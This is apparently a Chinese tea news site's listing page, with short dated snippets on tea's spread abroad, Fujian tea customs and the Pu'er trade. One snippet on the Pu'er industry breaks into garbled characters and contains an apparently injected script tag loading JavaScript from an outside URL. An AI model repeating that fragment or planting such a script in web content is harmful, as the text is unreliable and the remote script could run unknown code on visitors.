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茶叶向国外的传播概况

当今世界广泛流传的种、制和饮习俗,都是由我国向外传播出去的。据推测,中国传播到国外,已有二千多年的历史。 约于公元五世纪南北朝时,我国的就开始陆续输出至东南亚邻国及亚洲其他地区。 公元805、806年,日本最澄、海空禅师来我国留学,归国时携回籽试

2014-10-17 资讯
厦门最有资格申遗“海上茶叶之路”
普洱茶

厦门最有资格申遗“海上茶叶之路”

荷兰人最早从厦门得到茶叶。 近期,宁德三都澳正在筹备申报“海上茶叶之路”世界文化遗产,而泉州和宁波也多次提出各自发展“海上茶叶之路”的证据。究竟谁更有资格成为“海上茶叶之路”的申遗者?厦门原文化局局长、福建省旅游学会执行会长彭一万通过多方论

2014-06-19 普洱茶
德国游客向鼓山茶场师傅讨教炒茶技术
普洱茶

德国游客向鼓山茶场师傅讨教炒茶技术

“Der Tee von den hohen Bergen schmeckt sehe gut!(德语:高山茶,好喝的!)”4月17日,在宜丰县黄岗山垦殖场院前分场金鼓山茶场,一位正向茶场师傅讨教炒茶技术的德国游客“老狼”(图1中)对当地高山茶的手工制作工艺及口味赞不绝口。该茶场依托临近的

2014-06-18 普洱茶

元泰“下午茶沙龙”

元泰“下午茶沙龙”(Afternoon Tea Salon) 福建是产茶大省,福州是茉莉花茶的产地,百年以来,也是红茶出口的主要港口。福 州,茶馆林立,是一个茶文化休闲的城市。茶文化,应该成为福州的城市名片之一。元泰茶业,作为立足福州的茶企业,一直希望能为家乡的

2014-06-19 普洱茶
科勒厨房炮制英斯特主义英伦下午茶
普洱茶

科勒厨房炮制英斯特主义英伦下午茶

从英式 的“Low Tea”到美式的“High Tea” 作为业内艺术与创新的标杆,注重人们在生活中对产品的认知与认同,促使科勒厨房不断规划着未来厨房的发展趋势与概念,带领大家享受当下,畅想未来。自去年“料理也疯狂”与艺术家合作炮制创新料理之后,2014年科勒

2014-06-18 普洱茶

茶的最初发现利用

(一)茶的定名与茶字定形 中国远古时代,没有文字,靠语言传说。茶名见诸文字,始於周公《尔雅·释木篇》:“价,苦茶 也”。“价”。卖音“买”(JIA),近茶音。 秦代以前,中国各地的语言、文字还不统一。茶的名称,存在同物共名,据陆羽《茶经》记载,

2014-06-19 普洱茶

茶文化:追溯“茶”字怎么来的呢?

茶这个字到底是怎么来的呢?在《茶经》尚未问世之前,还没有这个茶字。当时人们都将其写作荼字,即如火如荼的荼。如西汉王褒《僮约》中,脍鱼弊,烹荼尽具、武阳买荼,杨氏担荷的记载以及孙楚的姜桂荼芽出巴蜀诗句,还有湖南茶陵,是西汉时设置的县,在唐以

2014-07-18 历史

茶在中国的传播

茶叶诞生于中国。而今日世界各地都在饮用的茶叶是通过怎样的图径传播的呢?想了解茶叶之路一般人们... 茶叶诞生于中国。而今日世界各地都在饮用的茶叶是通过怎样的图径传播的呢?想了解茶叶之路一般人们是通过查阅各国的文献,按年代和区域,绘制出一幅茶叶

2014-08-15 鉴别

新资本抢滩普洱茶产业

新资本抢滩普洱茶产业 日前,中茶牌乔木老树、刮风寨新品上市会在广州举办,记者在该品鉴会上看到,中茶将其珍藏多年的老茶博物馆搬到现场?script type='text/javascript' src='http://www.368tea.com/js/v.js'> ??嗫畈煌?甏?恼湎±?a href=http://368te

2014-10-30 行业

中国重茶区闽南的饮茶习俗

福建既是 茶 之王国,福建人对茶自然情有独钟。闽南民间有宁可百日无肉,不可一日无茶的俗语;闽北山民也有宁可三日无粮,不可一日无茶的俗语。在许多地方,人们均有早晚饮茶的习惯,对茶的依恋几乎到了迷醉的地步。大抵上,闽南人嗜 乌龙茶 ,福州人好花茶

2014-10-18 资讯
茶历史:从茶叶看福建人的冒险精神
历史

茶历史:从茶叶看福建人的冒险精神

清代以来,随着茶叶转输入欧,福建茶叶更名扬海外,英国人尤嗜闽茶,在英国诗人拜伦和爱德华扬的诗行中均出现武夷茶的名字。据茶叶专家考证,欧洲人的茶字读音与闽南方言茶的发音有直接的俗缘关系。闽南地区称茶为TAY,荷兰人购回福建茶时,便根据厦门音将茶

2014-07-10 历史

福建品饮茶习俗

福建人种 茶 、饮茶已有千余年历史。宋代始,武夷山茶即已蜚声域内。宋代,武夷山建立御茶园。从明代开始,泉州府所产 乌龙茶 也成为贡茶。明正德年间,仅南靖一地,年贡 茶叶 76斤。清代以来,随着茶叶转输入欧,福建茶叶更名扬海外,英国人尤嗜闽茶,在英

2014-10-19 资讯

福建各类品饮茶习俗

福建人种 茶 、饮茶已有千余年历史。宋代始,武夷山茶即已蜚声域内。《闽小记》称:“建州贡茶,自宋蔡忠惠(按:即蔡襄)始。”(清·周亮工《闽小记》卷1《闽茶曲》)宋代大文豪苏东坡称喝武夷茶后有“两腋清风起,我欲上蓬莱”之感。范仲淹更以“溪边奇茗冠天

2014-10-19 资讯

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